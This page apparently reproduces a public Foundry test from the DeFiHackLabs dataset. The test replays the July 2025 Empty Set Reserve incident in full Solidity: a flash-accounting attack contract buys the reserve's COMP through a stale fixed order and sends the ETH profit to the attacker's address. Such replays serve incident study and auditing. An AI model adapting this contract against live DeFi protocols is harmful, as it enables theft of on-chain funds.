Skip to content
THREATWIRE

Public reproduction file

src/test/2025-07/EmptySetReserve_exp.sol

Public reproduction file for dataset entry EmptySetReserve.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-07/EmptySetReserve_exp.sol195 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : $1,509.78
8// Attacker : 0xdDEB9e72fbecCa668fFD47314565954347ade522
9// Attack Contract : 0x17E2c0844AE7CfE9D0B04cA923017F4892824E15
10// Vulnerable Contract : 0xD05aCe63789cCb35B9cE71d01e4d632a0486Da4B
11// Attack Tx : https://etherscan.io/tx/0x240e9573e6c59cfe025c311c176c351bb07a86ae994aaaff58ec3f7f84dab372
12//
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0xD05aCe63789cCb35B9cE71d01e4d632a0486Da4B#code
15// Vulnerable Implementation : https://etherscan.io/address/0x363aF3acFfEd0B7181C2E3c56C00922E142100a8#code
16//
17// @Analysis
18// Telegram Alert : https://t.me/defimon_alerts/1532
19//
20// Attack summary: The attacker used Uniswap v4 flash accounting to source USDC, DSU, and ESS, then bought COMP from
21// Empty Set Reserve through its stale COMP/ESS fixed order and sold the COMP through Uniswap liquidity for ETH profit.
22// Root cause: Empty Set Reserve exposed a stale/favorable fixed maker/taker order through swap(), allowing a public
23// caller to buy the reserve's COMP inventory below market and extract the spread.
25interface IPoolManager {
26 function unlock(
27 bytes calldata data
28 ) external returns (bytes memory);
29 function take(address currency, address to, uint256 amount) external;
30 function sync(
31 address currency
32 ) external;
33 function settle() external payable returns (uint256);
36interface ITwoWayBatcher {
37 function wrap(uint256 amount, address to) external;
40interface IEmptySetReserve {
41 function order(address makerToken, address takerToken) external view returns (uint256 price, uint256 amount);
42 function swap(address makerToken, address takerToken, uint256 takerAmount) external;
45contract ContractTest is BaseTestWithBalanceLog {
46 address private constant ATTACKER = 0xdDEB9e72fbecCa668fFD47314565954347ade522;
47 address private constant TRACE_ATTACK_CONTRACT = 0x17E2c0844AE7CfE9D0B04cA923017F4892824E15;
48 address private constant RESERVE_IMPL = 0x363aF3acFfEd0B7181C2E3c56C00922E142100a8;
50 IEmptySetReserve private constant RESERVE = IEmptySetReserve(0xD05aCe63789cCb35B9cE71d01e4d632a0486Da4B);
51 IERC20 private constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
52 IERC20 private constant DSU = IERC20(0x605D26FBd5be761089281d5cec2Ce86eeA667109);
53 IERC20 private constant ESS = IERC20(0x24aE124c4CC33D6791F8E8B63520ed7107ac8b3e);
54 IERC20 private constant COMP = IERC20(0xc00e94Cb662C3520282E6f5717214004A7f26888);
56 uint256 private constant FORK_BLOCK = 22_988_103;
57 uint256 private constant TRACE_ETH_TRANSFER = 415_688_696_263_702_812;
58 uint256 private constant LOCAL_REPLAY_PROFIT = 416_271_181_367_327_696;
59 uint256 private constant LOCAL_REPLAY_ESS_RESIDUAL = 204_890_442_016_374_993_231_659;
60 uint256 private constant TRACE_ORDER_PRICE = 267_010_781_166_742_363_801_758;
61 uint256 private constant TRACE_ORDER_AMOUNT = 41_581_642_538_295_042_665;
63 function setUp() public {
64 vm.createSelectFork("mainnet", FORK_BLOCK);
66 fundingToken = address(0);
67 attacker = ATTACKER;
69 vm.label(ATTACKER, "EOA attacker");
70 vm.label(TRACE_ATTACK_CONTRACT, "trace attack contract");
71 vm.label(address(RESERVE), "Empty Set Reserve proxy");
72 vm.label(RESERVE_IMPL, "Empty Set Reserve implementation");
73 vm.label(address(USDC), "USDC");
74 vm.label(address(DSU), "DSU");
75 vm.label(address(ESS), "ESS");
76 vm.label(address(COMP), "COMP");
77 }
79 function testExploit() public balanceLog {
80 (uint256 priceBefore, uint256 amountBefore) = RESERVE.order(address(COMP), address(ESS));
81 assertEq(priceBefore, TRACE_ORDER_PRICE, "unexpected COMP/ESS order price");
82 assertEq(amountBefore, TRACE_ORDER_AMOUNT, "unexpected COMP/ESS order amount");
84 uint256 ethBefore = ATTACKER.balance;
86 EmptySetReserveAttack attackContract = new EmptySetReserveAttack();
87 attackContract.execute();
89 uint256 profit = ATTACKER.balance - ethBefore;
90 assertEq(profit, LOCAL_REPLAY_PROFIT, "ETH profit mismatch");
91 assertGt(profit, TRACE_ETH_TRANSFER, "profit below traced transfer");
92 assertEq(USDC.balanceOf(address(attackContract)), 0, "attack contract kept USDC");
93 assertEq(COMP.balanceOf(address(attackContract)), 0, "attack contract kept COMP");
94 assertEq(ESS.balanceOf(address(attackContract)), LOCAL_REPLAY_ESS_RESIDUAL, "unexpected ESS residual");
95 assertEq(DSU.balanceOf(address(attackContract)), 0, "attack contract kept DSU");
96 }
99contract EmptySetReserveAttack {
100 address private constant ATTACKER = 0xdDEB9e72fbecCa668fFD47314565954347ade522;
101 IPoolManager private constant POOL_MANAGER = IPoolManager(0x000000000004444c5dc75cB358380D2e3dE08A90);
102 ITwoWayBatcher private constant TWO_WAY_BATCHER = ITwoWayBatcher(0xAEf566ca7E84d1E736f999765a804687f39D9094);
103 IEmptySetReserve private constant RESERVE = IEmptySetReserve(0xD05aCe63789cCb35B9cE71d01e4d632a0486Da4B);
104 IUniswapV2Router private constant UNISWAP_V2_ROUTER =
105 IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));
106 Uni_Router_V3 private constant UNISWAP_V3_ROUTER = Uni_Router_V3(0xE592427A0AEce92De3Edee1F18E0157C05861564);
108 IERC20 private constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
109 IERC20 private constant DSU = IERC20(0x605D26FBd5be761089281d5cec2Ce86eeA667109);
110 IERC20 private constant ESS = IERC20(0x24aE124c4CC33D6791F8E8B63520ed7107ac8b3e);
111 IERC20 private constant COMP = IERC20(0xc00e94Cb662C3520282E6f5717214004A7f26888);
112 IWETH private constant WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));
114 uint256 private constant FLASH_USDC = 10_000_000_000;
115 uint256 private constant WRAP_DSU_AMOUNT = 227_550_528_462_023_058_437;
116 uint256 private constant USDC_TO_WETH_AMOUNT = 227_550_528;
117 uint256 private constant WETH_TO_ESS_AMOUNT = 62_460_734_547_587_260;
118 uint256 private constant RESERVE_ESS_IN = 11_102_746_856_346_403_118_005_018;
119 uint256 private constant COMP_TO_USDC_AMOUNT = 9_615_500_579_758_040_742;
120 uint256 private constant COMP_TO_WETH_AMOUNT = 31_966_141_958_537_001_922;
121 uint256 private constant LEFTOVER_USDC = 4_531_880;
123 function execute() external {
124 POOL_MANAGER.unlock("");
126 uint256 leftoverUsdc = USDC.balanceOf(address(this));
127 require(leftoverUsdc == LEFTOVER_USDC, "unexpected leftover USDC");
128 _swapV2(address(USDC), address(WETH), leftoverUsdc);
130 WETH.withdraw(WETH.balanceOf(address(this)));
131 (bool ok,) = payable(ATTACKER).call{value: address(this).balance}("");
132 require(ok, "ETH transfer failed");
133 }
135 function unlockCallback(
136 bytes calldata
137 ) external returns (bytes memory) {
138 require(msg.sender == address(POOL_MANAGER), "only pool manager");
140 POOL_MANAGER.take(address(USDC), address(this), FLASH_USDC);
142 USDC.approve(address(TWO_WAY_BATCHER), type(uint256).max);
143 TWO_WAY_BATCHER.wrap(WRAP_DSU_AMOUNT, address(this));
145 DSU.approve(address(UNISWAP_V2_ROUTER), type(uint256).max);
146 _swapV2(address(DSU), address(ESS), WRAP_DSU_AMOUNT);
148 USDC.approve(address(UNISWAP_V2_ROUTER), type(uint256).max);
149 _swapV2(address(USDC), address(WETH), USDC_TO_WETH_AMOUNT);
151 WETH.approve(address(UNISWAP_V3_ROUTER), type(uint256).max);
152 UNISWAP_V3_ROUTER.exactInputSingle(
153 Uni_Router_V3.ExactInputSingleParams({
154 tokenIn: address(WETH),
155 tokenOut: address(ESS),
156 fee: 3000,
157 recipient: address(this),
158 deadline: block.timestamp,
159 amountIn: WETH_TO_ESS_AMOUNT,
160 amountOutMinimum: 0,
161 sqrtPriceLimitX96: 0
162 })
163 );
165 ESS.approve(address(RESERVE), type(uint256).max);
166 RESERVE.swap(address(COMP), address(ESS), RESERVE_ESS_IN);
168 COMP.approve(address(UNISWAP_V2_ROUTER), type(uint256).max);
169 _swapV2Path(address(COMP), address(WETH), address(USDC), COMP_TO_USDC_AMOUNT);
170 _swapV2(address(COMP), address(WETH), COMP_TO_WETH_AMOUNT);
172 POOL_MANAGER.sync(address(USDC));
173 USDC.transfer(address(POOL_MANAGER), FLASH_USDC);
174 POOL_MANAGER.settle();
176 return "";
177 }
179 function _swapV2(address tokenIn, address tokenOut, uint256 amountIn) private {
180 address[] memory path = new address[](2);
181 path[0] = tokenIn;
182 path[1] = tokenOut;
183 IUniswapV2Router(UNISWAP_V2_ROUTER).swapExactTokensForTokens(amountIn, 0, path, address(this), block.timestamp);
184 }
186 function _swapV2Path(address tokenIn, address tokenMid, address tokenOut, uint256 amountIn) private {
187 address[] memory path = new address[](3);
188 path[0] = tokenIn;
189 path[1] = tokenMid;
190 path[2] = tokenOut;
191 IUniswapV2Router(UNISWAP_V2_ROUTER).swapExactTokensForTokens(amountIn, 0, path, address(this), block.timestamp);
192 }
194 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “EmptySetReserve” (2025-07-24). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xddeb9e72fbecca668ffd47314565954347ade522

  • Attack Contract

    0x17e2c0844ae7cfe9d0b04ca923017f4892824e15

  • Vulnerable Contract

    0xd05ace63789ccb35b9ce71d01e4d632a0486da4b

  • Attack Tx

    0x240e9573e6c59cfe025c311c176c351bb07a86ae994aaaff58ec3f7f84dab372

File record

Name
EmptySetReserve
Path
src/test/2025-07/EmptySetReserve_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
3cad0d3b175c315e2fb15bd5754815e08af39b24
Language
Solidity
Size
196 lines
Date
2025-07-24
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-07/EmptySetReserve_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 3cad0d3b175c315e2fb15bd5754815e08af39b24, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.